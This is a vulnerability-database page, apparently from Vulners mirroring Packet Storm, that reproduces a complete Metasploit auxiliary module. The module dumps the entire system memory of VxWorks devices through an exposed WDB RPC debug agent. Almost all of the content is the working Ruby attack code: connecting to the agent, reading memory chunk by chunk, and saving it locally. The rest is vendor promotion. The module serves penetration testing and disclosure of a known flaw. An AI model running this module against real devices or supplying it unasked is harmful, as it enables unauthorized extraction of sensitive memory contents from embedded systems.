Lucene search
K

VxWorks WDB Agent Remote Memory Dump

🗓️ 31 Aug 2024 00:00:00Reported by Jay Turla, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 196 Views

VxWorks WDB Agent Remote Memory Dump. Dump system memory through WDBRP

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::WDBRPC_Client  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'VxWorks WDB Agent Remote Memory Dump',  
'Description' => %q{  
This module provides the ability to dump the system memory of a VxWorks target through WDBRPC  
},  
'Author' => [ 'hdm'],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['OSVDB', '66842'],  
['URL', 'https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],  
['US-CERT-VU', '362332']  
],  
'Actions' =>  
[  
['Download', 'Description' => 'Dump system memory']  
],  
'DefaultAction' => 'Download'  
))  
  
register_options(  
[  
OptString.new('LPATH',  
[  
true,  
"The local filename to store the dumped memory",  
::File.join(Msf::Config.log_directory, "vxworks_memory.dmp")  
]  
),  
OptInt.new('OFFSET', [ true, "The starting offset to read the memory dump (hex allowed)", 0 ])  
])  
end  
  
def run  
offset = datastore['OFFSET'].to_i  
print_status("Attempting to dump system memory, starting at offset 0x%02x" % offset)  
  
wdbrpc_client_connect  
  
if not @wdbrpc_info[:rt_vers]  
print_error("No response to connection request")  
return  
end  
  
membase = @wdbrpc_info[:rt_membase]  
memsize = @wdbrpc_info[:rt_memsize]  
mtu = @wdbrpc_info[:agent_mtu]  
  
print_status("Dumping #{"0x%.8x" % memsize} bytes from base address #{"0x%.8x" % membase} at offset #{"0x%.8x" % offset}...")  
  
lfd = nil  
if offset != 0  
begin  
# Turns out ruby's implementation of seek with "ab" mode is all kind of busted.  
lfd = ::File.open(datastore['LPATH'], "r+b")  
lfd.seek(offset)  
rescue Errno::ENOENT  
print_error("Unable to open existing dump! Writing a new file instead of resuming...")  
lfd = ::File.open(datastore['LPATH'], "wb")  
end  
else  
lfd = ::File.open(datastore['LPATH'], "wb")  
end  
  
mtu -= 80  
idx = offset  
lpt = 0.00  
sts = Time.now.to_f  
  
  
while (idx < memsize)  
buff = wdbrpc_client_memread(membase + idx, mtu)  
if not buff  
print_error("Failed to download data at offset #{"0x%.8x" % idx}")  
return  
end  
  
idx += buff.length  
lfd.write(buff)  
  
pct = ((idx / memsize.to_f) * 10000).to_i  
pct = pct / 100.0  
  
if pct != lpt  
eta = Time.at(Time.now.to_f + (((Time.now.to_f - sts) / pct) * (100.0 - pct)))  
print_status("[ #{sprintf("%.2d", pct)} % ] Downloaded #{"0x%.8x" % idx} of #{"0x%.8x" % memsize} bytes (complete at #{eta.to_s})")  
lpt = pct  
end  
end  
  
lfd.close  
  
print_status("Dumped #{"0x%.8x" % idx} bytes.")  
wdbrpc_client_disconnect  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7.4High risk
Vulners AI Score7.4
196